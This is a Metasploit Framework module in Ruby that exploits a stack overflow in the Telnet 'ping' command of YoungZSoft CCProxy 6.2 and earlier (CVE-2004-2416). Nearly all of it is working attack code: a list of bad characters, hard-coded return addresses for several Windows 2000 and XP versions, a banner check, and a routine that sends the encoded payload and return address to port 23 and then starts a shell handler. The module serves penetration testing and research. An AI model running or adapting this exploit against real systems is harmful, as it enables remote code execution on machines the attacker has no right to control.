metasploit-framework/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
			'Description'	=> %q{
					This module exploits the YoungZSoft CCProxy <= v6.2 suite
				Telnet service. The stack is overwritten when sending an overly
				long address to the 'ping' command.
			},
			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision$',
			'References'    =>
				[
					[ 'CVE', '2004-2416' ],
					[ 'OSVDB', '11593' ],
					[ 'BID', '11666 ' ],
					[ 'URL', 'http://milw0rm.com/exploits/621' ],
				],
			'Privileged'		=> false,
			'DefaultOptions'	=>
				{
					'EXITFUNC' 	=> 'thread',
				},
			'Payload' =>
				{
					'Space'		=> 1012,
					'BadChars' 	=> "\x00\x07\x08\x0a\x0d\x20",
				},
			'Platform' => ['win'],
			'Targets' =>
				[
					# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
					[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll
					[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll
					[ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll
					[ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll
					[ 'Windows XP SP2 - English',	    { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll
				],
			'DisclosureDate' => 'Nov 11 2004'))

		register_options(
			[
				Opt::RPORT(23),
			], self.class)
	end

	def check
		connect
		banner = sock.get_once(-1,3)
		disconnect

		if (banner =~ /CCProxy Telnet Service Ready/)
			return Exploit::CheckCode::Appears
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit  = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
		sock.put(sploit + "\r\n")

		handler
		disconnect
	end

end